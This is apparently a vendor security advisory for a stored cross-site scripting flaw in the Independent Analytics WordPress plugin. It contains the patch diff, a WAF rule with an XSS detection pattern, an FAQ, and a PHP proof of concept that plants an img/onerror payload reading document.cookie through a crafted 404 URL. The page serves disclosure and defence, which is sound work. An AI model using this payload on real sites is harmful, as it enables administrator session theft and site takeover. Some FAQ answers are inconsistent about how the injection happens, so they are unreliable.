'reference' => '9d2e0265c5d90f5dd601bc65ff717e05cec19b47', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'league/uri' => array('pretty_version' => '6.7.2', 'version' => '6.7.2.0', 'reference' => 'd3b50812dd51f3fbf176344cc2981db03d10fe06', 'type' => 'library', 'install_path' => __DIR__ . '/../league/uri', 'aliases' => array(), 'dev_requirement' => false), 'league/uri-interfaces' => array('pretty_version' => '2.3.0', 'version' => '2.3.0.0', 'reference' => '00e7e2943f76d8cb50c7dfdc2f6dee356e15e383', 'type' => 'library', 'install_path' => __DIR__ . '/../league/uri-interfaces', 'aliases' => array(), 'dev_requirement' => false), 'matomo/device-detector' => array('pretty_version' => '6.5.1', 'version' => '6.5.1.0', 'reference' => 'f30457500c6be4c80c8830466f8a746724779fd0', 'type' => 'library', 'install_path' => __DIR__ . '/../matomo/device-detector', 'aliases' => array(), 'dev_requirement' => false), 'maxmind-db/reader' => array('pretty_version' => 'v1.13.1', 'version' => '1.13.1.0', 'reference' => '2194f58d0f024ce923e685cdf92af3daf9951908', 'type' => 'library', 'install_path' => __DIR__ . '/../maxmind-db/reader', 'aliases' => array(), 'dev_requirement' => false), 'mlocati/ip-lib' => array('pretty_version' => '1.22.0', 'version' => '1.22.0.0', 'reference' => '4e40ffd3bf9989db19403d89c4d8be44b87b8a91', 'type' => 'library', 'install_path' => __DIR__ . '/../mlocati/ip-lib', 'aliases' => array(), 'dev_requirement' => false), 'mustangostang/spyc' => array('pretty_version' => '0.6.3', 'version' => '0.6.3.0', 'reference' => '4627c838b16550b666d15aeae1e5289dd5b77da0', 'type' => 'library', 'install_path' => __DIR__ . '/../mustangostang/spyc', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.73.0', 'version' => '2.73.0.0', 'reference' => '9228ce90e1035ff2f0db84b40ec2e023ed802075', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'piwik/device-detector' => array('dev_requirement' => false, 'replaced' => array(0 => '6.5.1')), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/container' => array('pretty_version' => '2.0.2', 'version' => '2.0.2.0', 'reference' => 'c71ecc56dfe541dbd90c5360474fbc405f8d5963', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'psr/container-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.1|2.0')), 'psr/http-message' => array('pretty_version' => '1.1', 'version' => '1.1.0.0', 'reference' => 'cb6ce4845ce34a8ad9e68117c10ee90a29919eba', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-message', 'aliases' => array(), 'dev_requirement' => false), 'psr/log-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0|2.0|3.0')), 'psr/simple-cache' => array('pretty_version' => '3.0.0', 'version' => '3.0.0.0', 'reference' => '764e0b3939f5ca87cb904f570ef9be2d78a07865', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/simple-cache', 'aliases' => array(), 'dev_requirement' => false), 'symfony/console' => array('pretty_version' => 'v6.0.19', 'version' => '6.0.19.0', 'reference' => 'c3ebc83d031b71c39da318ca8b7a07ecc67507ed', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/console', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-ctype' => array('pretty_version' => 'v1.37.0', 'version' => '1.37.0.0', 'reference' => '141046a8f9477948ff284fa65be2095baafb94f2', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-ctype', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-intl-grapheme' => array('pretty_version' => 'v1.38.1', 'version' => '1.38.1.0', 'reference' => 'e9247d281d694a5120554d9afaf54e070e88a603', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-grapheme', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-intl-normalizer' => array('pretty_version' => 'v1.38.0', 'version' => '1.38.0.0', 'reference' => '2d446c214bdbe5b71bde5011b060a05fece3ae6b', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-normalizer', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.38.2', 'version' => '1.38.2.0', 'reference' => 'd3d318bad5e7a1bfbd026009c8bfb8d8f99ae6b6', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.37.0', 'version' => '1.37.0.0', 'reference' => 'dfb55726c3a76ea3b6459fcfda1ec2d80a682411', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/service-contracts' => array('pretty_version' => 'v3.0.2', 'version' => '3.0.2.0', 'reference' => 'd78d39c1599bd1188b8e26bb341da52c3c6d8a66', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/service-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/string' => array('pretty_version' => 'v6.0.19', 'version' => '6.0.19.0', 'reference' => 'd9e72497367c23e08bf94176d2be45b00a9d232a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/string', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v6.0.19', 'version' => '6.0.19.0', 'reference' => '9c24b3fdbbe9fb2ef3a6afd8bbaadfd72dad681f', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v3.0.2', 'version' => '3.0.2.0', 'reference' => 'acbfbb274e730e5a0236f619b6168d9dedb3e282', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3|3.0')), 'voku/portable-ascii' => array('pretty_version' => '2.1.1', 'version' => '2.1.1.0', 'reference' => '8e1051fe39379367aecf014f41744ce7539a856f', 'type' => 'library', 'install_path' => __DIR__ . '/../voku/portable-ascii', 'aliases' => array(), 'dev_requirement' => false)));
--- a/independent-analytics/views/date-picker/calendar-month.blade.php
+++ b/independent-analytics/views/date-picker/calendar-month.blade.php
@@ -15,7 +15,7 @@
         </button>
     </div>
     <div class="iawp-day-names">
-        <?php echo wp_kses_post($month->days_of_week()); ?>
+        <?php echo  IAWPUtilsSecurity::span_tags_only($month->days_of_week()); ?>
     </div>
     <div class="iawp-days"><?php
         for ($i = 0; $i < $month->extra_cells(); $i++) {
--- a/independent-analytics/views/journeys/timeline.blade.php
+++ b/independent-analytics/views/journeys/timeline.blade.php
@@ -55,7 +55,7 @@
                     <?php endif; ?>
                     <span class="timeline-event-label"><?php echo esc_html($event->label()); ?></span>
                     <div class="timeline-event-contents">
-                        <?php echo wp_kses_post($event->html()); ?>
+                        <?php echo IAWPUtilsSecurity::user_journey_event_contents($event->html()); ?>
                     </div>
                 </div>
             <?php endforeach; ?>
@@ -74,7 +74,7 @@
                     <div class="journey-timeline-event <?php echo esc_attr($event->type()); ?>">
                         <span class="timeline-event-label"><?php echo esc_html($event->label()); ?></span>
                         <div class="timeline-event-contents">
-                            <?php echo wp_kses_post($event->html()); ?>
+                            <?php echo IAWPUtilsSecurity::user_journey_event_contents($event->html()); ?>
                         </div>
                     </div>
                 <?php endforeach; ?>
--- a/independent-analytics/views/notices/notice.blade.php
+++ b/independent-analytics/views/notices/notice.blade.php
@@ -7,9 +7,9 @@
     </div>
     <div class="iawp-message">
         <?php if ($plugin == 'minify-html-markup') : ?>
-            <p><span class="iawp-message-text"><?php echo wp_kses_post($notice_text); ?></span></p>
+            <p><span class="iawp-message-text"><?php echo esc_html($notice_text); ?></span></p>
         <?php else : ?>
-            <p><span class="iawp-message-text"><?php echo wp_kses_post($notice_text); ?></span> <a href="<?php echo esc_url($url); ?>" class="link-white" target="_blank"><?php esc_html_e('Learn More', 'independent-analytics'); ?></a></p>
+            <p><span class="iawp-message-text"><?php echo esc_html($notice_text); ?></span> <a href="<?php echo esc_url($url); ?>" class="link-white" target="_blank"><?php esc_html_e('Learn More', 'independent-analytics'); ?></a></p>
         <?php endif; ?>
     </div>
     <?php if ($button_text) : ?>
--- a/independent-analytics/views/settings/email-reports.blade.php
+++ b/independent-analytics/views/settings/email-reports.blade.php
@@ -16,7 +16,7 @@
             <?php if($is_scheduled): ?>
                 <div id="next-email" class="schedule-notification is-scheduled" data-timestamp="<?php echo absint($timestamp); ?>">
                     <span class="dashicons dashicons-yes-alt"></span>
-                    <p><?php echo wp_kses_post($scheduled_date); ?></p>
+                    <p><?php echo IAWPUtilsSecurity::strong_tags_only($scheduled_date); ?></p>
                     <button class="iawp-button" type="button" data-controller="pause-emails" data-action="pause-emails#pause"><?php esc_html_e('Pause Emails', 'independent-analytics'); ?></button>
                 </div>
             <?php elseif($is_paused): ?>
@@ -28,7 +28,7 @@
             <?php else: ?>
                 <div id="next-email" class="schedule-notification is-not-scheduled">
                     <span class="dashicons dashicons-dismiss"></span>
-                    <p><?php echo wp_kses_post($scheduled_date); ?></p>
+                    <p><?php echo IAWPUtilsSecurity::strong_tags_only($scheduled_date); ?></p>
                 </div>
             <?php endif; ?>
             <div class="delivery-interval iawp-section">
--- a/independent-analytics/views/settings/pruner.blade.php
+++ b/independent-analytics/views/settings/pruner.blade.php
@@ -16,7 +16,7 @@
         <p><?php
             $status_message = $pruner->status_message();
         if (!is_null($status_message)) {
-            echo wp_kses_post($status_message);
+            echo IAWPUtilsSecurity::strong_tags_only($status_message);
         } ?>
         </p>
     </div>
--- a/independent-analytics/views/tables/rows.blade.php
+++ b/independent-analytics/views/tables/rows.blade.php
@@ -68,7 +68,7 @@
                             <span class="dashicons dashicons-search"></span>
                             </button>
                         </div>
-                        <span class="cell-content"><?php echo wp_kses_post($table->get_cell_content($row, $column)); ?></span>
+                        <span class="cell-content"><?php echo IAWPUtilsSecurity::table_cell_content($table->get_cell_content($row, $column)); ?></span>
                         <span class="animator"></span>
                     </div><?php
             endforeach; ?>
--- a/independent-analytics/views/woocommerce-order-meta-box.blade.php
+++ b/independent-analytics/views/woocommerce-order-meta-box.blade.php
@@ -20,7 +20,7 @@
 <?php endif; ?>

 <p class="iawp-referrer-box-title"><?php esc_html_e('Landing Page', 'independent-analytics'); ?></p>
-<p class="iawp-referrer-box-value" data-testid="landing-page"><a href="<?php echo $record->initial_page_url ?>" target="_blank"><?php echo $record->initial_page_title ?></a></p>
+<p class="iawp-referrer-box-value" data-testid="landing-page"><a href="<?php echo esc_url($record->initial_page_url); ?>" target="_blank"><?php echo esc_html($record->initial_page_title); ?></a></p>

 <p class="iawp-referrer-box-title"><?php esc_html_e('Pages viewed', 'independent-analytics'); ?></p>
 <p class="iawp-referrer-box-value" data-testid="pages-viewed"><?php echo $record->total_views ?></p>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-17506
# This rule targets the stored XSS vulnerability in the Independent Analytics plugin.
# The attack is initiated by requesting a non-existent URL with a percent-encoded HTML payload.
# The rule blocks requests to any non-existent resource (404) that contain XSS patterns in the URI.
SecRule REQUEST_URI "@rx (?:%3C|<)[^>]*(?:onerror|onload|javascript|alert|script)[^>]*(?:%3E|>)" 
  "id:202617506,phase:1,deny,status:403,msg:'CVE-2026-17506 blocked - XSS payload in 404 URL',severity:'CRITICAL',tag:'CVE-2026-17506',t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-17506 - Independent Analytics <= 2.15.0 - Unauthenticated Stored Cross-Site Scripting

// This PoC demonstrates how to inject a stored XSS payload via a crafted 404 request.
// It requires only the URL of the target WordPress site.

$target_url = 'http://example.com'; // Change this to the target site's base URL

// Craft the malicious 404 URL. The payload is percent-encoded to bypass esc_url() validation.
$payload = '%3Cimg%20src=x%20onerror=alert(document.cookie)%3E';
$malicious_url = $target_url . '/nonexistent-page/' . $payload;

// Step 1: Send a request to the crafted URL to trigger the 404 tracking.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'AtomicEdge-PoC');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code !== 404) {
    echo "[!] The target did not return a 404 for the crafted URL. The plugin might not be tracking it.n";
    echo "[!] HTTP Code: $http_coden";
} else {
    echo "[+] Successfully triggered a 404 for the payload. The payload is now stored in the plugin's database.n";
    echo "[+] Payload URL: $malicious_urln";
    echo "[*] Next, an administrator must view the 404 report in the dashboard to execute the script.n";
    echo "[*] The script will run alert(document.cookie) in the admin's browser session.n";
}

// Step 2 (Optional): Attempt to query the public search endpoint to verify the payload is stored.
// Note: The plugin's public REST endpoint /iawp/search requires a signature embedded in the page's HTML.
// This signature might be difficult to extract programmatically without parsing the homepage.
// The following is a conceptual illustration and may need adjustments based on the plugin's exact API.

/*
$search_url = $target_url . '/wp-json/iawp/search';
$args = [
    'type' => '404',
    'signature' => '...', // Must be extracted from the homepage HTML
    'timestamp' => time(),
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $search_url . '?' . http_build_query($args));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
*/

echo "[*] PoC completed.n";

Frequently Asked Questions

What is CVE-2026-17506?
Vulnerability overview
CVE-2026-17506 is a stored cross-site scripting (XSS) vulnerability in the Independent Analytics plugin for WordPress, affecting versions up to and including 2.15.0. It allows unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the 404 error report in the analytics dashboard. The vulnerability is rated high severity with a CVSS score of 7.2.
How does the stored XSS vulnerability work?
Technical explanation
The vulnerability occurs in the get_cell_content() function in IAWP/Tables/Table.php. When rendering the URL column for 404 entries, the code applies urldecode() after esc_url(), which allows percent-encoded HTML to pass URL validation and then be decoded into raw markup. This markup is not stripped by wp_kses_post() because it retains img elements and data-* attributes, leading to script execution.
Who is affected by this vulnerability?
Affected users
WordPress sites running the Independent Analytics plugin version 2.15.0 or earlier are affected. The vulnerability can be exploited by unauthenticated attackers, meaning anyone who can send a crafted request to the site can inject the payload. Administrators who view the 404 report in the analytics dashboard are the ones whose browsers execute the malicious script.
How can I check if my site is vulnerable?
Detection steps
Check the version of the Independent Analytics plugin installed on your WordPress site. If it is 2.15.0 or lower, your site is vulnerable. You can also look for suspicious 404 requests in your server logs that contain encoded HTML or JavaScript payloads, such as %3Cscript%3E or %3Cimg%20onerror%3D.
What is the patched version and how do I update?
Patch information
The patched version is 2.15.1. To fix the vulnerability, update the Independent Analytics plugin to version 2.15.1 or later. You can do this from the WordPress admin dashboard under Plugins, or by downloading the latest version from the WordPress plugin repository and uploading it manually.
What does the patch change?
Patch details
The patch modifies the get_cell_content() function to use esc_html(urldecode($row->url())) instead of urldecode(esc_url($row->url())). This ensures that any HTML characters are entity-encoded after decoding, preventing script execution. The patch also introduces new sanitization methods using wp_kses() with allowlisted tags to replace the overly permissive wp_kses_post().
How can I mitigate the risk if I cannot update immediately?
Temporary mitigations
If you cannot update immediately, consider disabling the 404 tracking feature in the plugin settings, if available, to prevent new malicious entries from being stored. Additionally, you can use a web application firewall (WAF) to block requests containing encoded XSS payloads in the URL. However, updating to the patched version is the only complete fix.
What is the practical impact of a CVSS score of 7.2?
Risk level explanation
A CVSS score of 7.2 is considered high severity. It indicates that the vulnerability is relatively easy to exploit and can have significant impact, such as full site compromise. Since the attack is unauthenticated and can lead to administrator account takeover, it poses a serious threat to the confidentiality, integrity, and availability of the affected WordPress site.
How does the proof of concept (PoC) demonstrate the vulnerability?
PoC explanation
The PoC sends a crafted HTTP request to a non-existent URL on the target site, containing a percent-encoded XSS payload. This triggers the plugin’s 404 tracking, which stores the malicious URL. When an administrator later views the 404 report, the stored payload is rendered and executed, demonstrating the stored XSS. The PoC requires only the target site’s base URL.
Can this vulnerability be exploited without authentication?
Authentication requirements
Yes, the vulnerability can be exploited by unauthenticated attackers. The plugin’s public REST endpoint /iawp/search accepts unauthenticated requests as long as they carry a signature that is embedded in the public page’s HTML. This allows any visitor to inject the malicious 404 URL without needing to log in.
What are the potential consequences of successful exploitation?
Impact analysis
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s browser session. This can lead to session hijacking, creation of new admin accounts, modification of site content, and uploading malicious files. Given the high privileges of an administrator, this effectively results in full site compromise.
Are there any other security considerations related to this vulnerability?
Additional notes
The vulnerability is a stored XSS, meaning the payload persists in the database and executes each time the report is viewed. It is important to regularly update plugins and monitor for unusual 404 requests. Additionally, administrators should follow security best practices such as using strong passwords and limiting admin access to trusted users.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started